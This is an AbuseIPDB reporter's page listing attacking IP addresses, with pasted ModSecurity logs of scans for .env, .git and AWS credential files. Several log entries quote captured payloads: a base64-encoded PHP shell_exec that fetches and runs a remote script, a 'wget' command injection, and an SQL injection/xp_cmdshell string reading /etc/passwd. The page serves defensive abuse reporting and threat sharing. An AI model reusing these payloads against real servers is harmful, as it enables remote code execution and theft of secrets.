AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User subnetprotocol , the webmaster of subnetprotocol.com, joined AbuseIPDB in October 2024 and has reported 8,544 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇷🇴 62.231.94.41	12 May 2025	12/May/2025:16:39:52.100919 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:16:39:52.100919 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 62.231.94.41] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "mignonne.com"] [uri "/.env"] [unique_id "aCIINyFDctMRX-6hNCpFegAACNU"] 12/May/2025:16:39:52.270878 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 62.231.94.41] ModSecurity: Warning. detected XSS using libinjection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] ... show less	Hacking Web App Attack
🇳🇱 196.251.86.175	12 May 2025	12/May/2025:16:35:28.236562 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:16:35:28.236562 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.86.175] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.45.16"] [uri "/.env"] [unique_id "aCIHMCa22j2IkRL_Y7iTlwAACpI"] 12/May/2025:16:36:40.871917 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.86.175] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-AT ... show less	Hacking Web App Attack
🇧🇪 34.34.185.61	12 May 2025	12/May/2025:15:24:25.129160 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:15:24:25.129160 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.34.185.61] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\$,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\$?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id ... show less	Hacking Web App Attack
🇳🇱 196.251.73.140	12 May 2025	12/May/2025:14:31:40.769664 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:14:31:40.769664 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.73.140] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.1.53"] [uri "/.env"] [unique_id "aCHqLMw5grJF_TGRNA_wLgAAA4U"] 12/May/2025:14:32:31.484818 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.73.140] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATT ... show less	Hacking Web App Attack
🇳🇱 196.251.70.87	12 May 2025	12/May/2025:14:19:15.658804 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:14:19:15.658804 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.70.87] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.1.53"] [uri "/.aws/credentials"] [unique_id "aCHnQ1HaG2qOOW4XaixM1AAAAc8"] 12/May/2025:14:19:39.868117 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.70.87] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_ ... show less	Hacking Web App Attack
🇺🇸 143.198.75.147	12 May 2025	12/May/2025:13:31:13.922797 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:13:31:13.922797 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 143.198.75.147] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.45.16"] [uri "/.env"] [unique_id "aCHcAatsnd8kV32ttBLGoQAACQI"] 12/May/2025:13:32:23.867926 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 143.198.75.147] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-AT ... show less	Hacking Web App Attack
🇳🇱 196.251.80.2	12 May 2025	12/May/2025:13:06:43.362092 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:13:06:43.362092 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.80.2] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.1.133"] [uri "/.env"] [unique_id "aCHWQxsgiNCPTVvtrnbMcAAABhU"] 12/May/2025:13:09:24.458770 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.80.2] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK ... show less	Hacking Web App Attack
🇨🇭 179.43.152.115	12 May 2025	12/May/2025:11:44:49.693438 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:11:44:49.693438 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 179.43.152.115] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.40.96"] [uri "/app/.git/config"] [unique_id "aCHDEVJ3w4Ou0eLiG2mjSQAAAMk"] 12/May/2025:11:44:49.731779 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 179.43.152.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RE ... show less	Hacking Web App Attack
🇳🇱 45.148.10.42	12 May 2025	12/May/2025:10:53:38.717881 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:10:53:38.717881 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /core/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.1.53"] [uri "/core/.git/config"] [unique_id "aCG3EkKfig4zBrze_kTl2QAABUw"] 12/May/2025:10:53:38.747281 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQU ... show less	Hacking Web App Attack
🇩🇪 176.65.148.10	12 May 2025	12/May/2025:07:41:57.067133 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:07:41:57.067133 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 176.65.148.10] ModSecurity: Warning. Pattern match "(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|\\\\\\\\$\\\\\\\$\|\\\\\\\\$\\\\\\\\(\\\\\\\\(\|`\|\\\\\\\\${\|<\\\\\\\\(\|>\\\\\\\\(\|\\\\\\\\(\\\\\\\\s\\\\\\\$)\\\\\\\\s(?:{\|\\\\\\\\s\\\\\\\$\\\\\\\\s\|\\\\\\\\w+=(?:[^\\\\\\\\s]\|\\\\\\\\$.\|\\\\\\\\$.\|<.\|>.\|\\\\\\\\'.\\\\\\\\'\|\\\\".\\\\")\\\\\\\\s+\|!\\\\\\\\s\|\\\\\\\\$)\\\\\\\\s(?:'\|\\\\")(?:[\\\\\\\\?\\\\\\\\\\\\\\\\[\\\\\\\\]\\\\\\\\(\\\\\\\$\\\\\\\\-\\\\\\\\\|+\\\\\\\\w'\\\\"\\\\\\\\./\\\\\\\\\\\\\\\\]+/)?[\\\\\\\\\\\\\\\\'\\\\"](?:l[\\\\\\\\\\\\\\\\'\\\\"] ..." at ARGS:cmd. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;chmod found within ARGS:cmd: cd /tmp;rm -rf *;wget http://213.209.1 ... show less	Hacking Web App Attack
🇺🇸 135.237.126.209	12 May 2025	12/May/2025:07:52:42.521359 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:07:52:42.521359 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 135.237.126.209] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/118/224/541/310"] [tag "PCI/6.5.10"] [hostname "212.129.40.96"] [uri "/autodiscover/autodiscover.json"] [unique_id "aCGMqiZaBsqEqqiXIhjmlgAAAso"] 12/May/2025:07:52:50.014237 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 135.237.126.209] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_H ... show less	Hacking Web App Attack
🇷🇺 109.195.164.160	12 May 2025	12/May/2025:07:29:47.870220 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:07:29:47.870220 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 109.195.164.160] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\$,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\$?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] ... show less	Hacking Web App Attack
🇺🇸 20.65.194.76	12 May 2025	12/May/2025:06:51:14.496805 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:06:51:14.496805 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 20.65.194.76] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/118/224/541/310"] [tag "PCI/6.5.10"] [hostname "212.129.0.235"] [uri "/"] [unique_id "aCF-QiZaBsqEqqiXIhiX3gAAAsg"] 12/May/2025:06:51:18.531411 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 20.65.194.76] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/apach ... show less	Hacking Web App Attack
🇳🇱 45.148.10.42	12 May 2025	12/May/2025:06:26:40.657895 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:06:26:40.657895 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.1.53"] [uri "/.env.dist"] [unique_id "aCF4gO8AgphBPmaOZaIpBQAABZM"] 12/May/2025:06:26:40.725307 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATI ... show less	Hacking Web App Attack
🇳🇱 196.251.70.87	12 May 2025	12/May/2025:06:09:28.935847 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:06:09:28.935847 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.70.87] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.1.53"] [uri "/.env_sample"] [unique_id "aCF0eLJk1mbBjWoksj6NPwAABUI"] 12/May/2025:06:09:55.863340 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.70.87] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APP ... show less	Hacking Web App Attack
🇩🇪 176.65.148.10	12 May 2025	12/May/2025:04:28:46.937576 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:04:28:46.937576 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 176.65.148.10] ModSecurity: Warning. Pattern match "(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|\\\\\\\\$\\\\\\\$\|\\\\\\\\$\\\\\\\\(\\\\\\\\(\|`\|\\\\\\\\${\|<\\\\\\\\(\|>\\\\\\\\(\|\\\\\\\\(\\\\\\\\s\\\\\\\$)\\\\\\\\s(?:{\|\\\\\\\\s\\\\\\\$\\\\\\\\s\|\\\\\\\\w+=(?:[^\\\\\\\\s]\|\\\\\\\\$.\|\\\\\\\\$.\|<.\|>.\|\\\\\\\\'.\\\\\\\\'\|\\\\".\\\\")\\\\\\\\s+\|!\\\\\\\\s\|\\\\\\\\$)\\\\\\\\s(?:'\|\\\\")(?:[\\\\\\\\?\\\\\\\\\\\\\\\\[\\\\\\\\]\\\\\\\\(\\\\\\\$\\\\\\\\-\\\\\\\\\|+\\\\\\\\w'\\\\"\\\\\\\\./\\\\\\\\\\\\\\\\]+/)?[\\\\\\\\\\\\\\\\'\\\\"](?:l[\\\\\\\\\\\\\\\\'\\\\"] ..." at ARGS:cmd. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;chmod found within ARGS:cmd: cd /tmp;rm -rf *;wget http://213.209.1 ... show less	Hacking Web App Attack
🇳🇱 196.251.81.194	12 May 2025	12/May/2025:02:10:51.486152 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:02:10:51.486152 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.81.194] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.1.53"] [uri "/.env"] [unique_id "aCE8i8PCOH0k0KGF_MZ4MQAABZI"] 12/May/2025:02:14:00.898844 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.81.194] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATT ... show less	Hacking Web App Attack
🇩🇪 91.92.46.203	12 May 2025	12/May/2025:02:07:12.699906 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:02:07:12.699906 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 91.92.46.203] ModSecurity: Warning. Pattern match "(?:^\|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]\|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /index.php?action=sendfav&dest_id=75816&kkYd=3722 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\\\\x22XSS\\\\x22)</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "ftp.mignonne.com"] [uri "/index.php"] [unique_id "aCE7sIoCF51wV6_hMEk6wwAAAcw"] 12/May/2025:02:07:12.69990 ... show less	Hacking Web App Attack
🇨🇭 179.43.152.115	12 May 2025	12/May/2025:02:06:51.624407 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:02:06:51.624407 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 179.43.152.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.1.133"] [uri "/.env.live"] [unique_id "aCE7m0oNC4ph7m3QPhJMFgAAAos"] 12/May/2025:02:06:51.696179 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 179.43.152.115] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APP ... show less	Hacking Web App Attack
🇩🇪 176.65.148.10	11 May 2025	12/May/2025:01:22:02.664020 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:01:22:02.664020 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 176.65.148.10] ModSecurity: Warning. Pattern match "(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|\\\\\\\\$\\\\\\\$\|\\\\\\\\$\\\\\\\\(\\\\\\\\(\|`\|\\\\\\\\${\|<\\\\\\\\(\|>\\\\\\\\(\|\\\\\\\\(\\\\\\\\s\\\\\\\$)\\\\\\\\s(?:{\|\\\\\\\\s\\\\\\\$\\\\\\\\s\|\\\\\\\\w+=(?:[^\\\\\\\\s]\|\\\\\\\\$.\|\\\\\\\\$.\|<.\|>.\|\\\\\\\\'.\\\\\\\\'\|\\\\".\\\\")\\\\\\\\s+\|!\\\\\\\\s\|\\\\\\\\$)\\\\\\\\s(?:'\|\\\\")(?:[\\\\\\\\?\\\\\\\\\\\\\\\\[\\\\\\\\]\\\\\\\\(\\\\\\\$\\\\\\\\-\\\\\\\\\|+\\\\\\\\w'\\\\"\\\\\\\\./\\\\\\\\\\\\\\\\]+/)?[\\\\\\\\\\\\\\\\'\\\\"](?:l[\\\\\\\\\\\\\\\\'\\\\"] ..." at ARGS:cmd. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;chmod found within ARGS:cmd: cd /tmp;rm -rf *;wget http://213.209.1 ... show less	Hacking Web App Attack
🇳🇱 196.251.73.140	11 May 2025	12/May/2025:00:22:18.033637 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:00:22:18.033637 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.73.140] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.40.96"] [uri "/.env"] [unique_id "aCEjGTwG7lKJmB5o6xI-nQAABRg"] 12/May/2025:00:23:08.497148 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 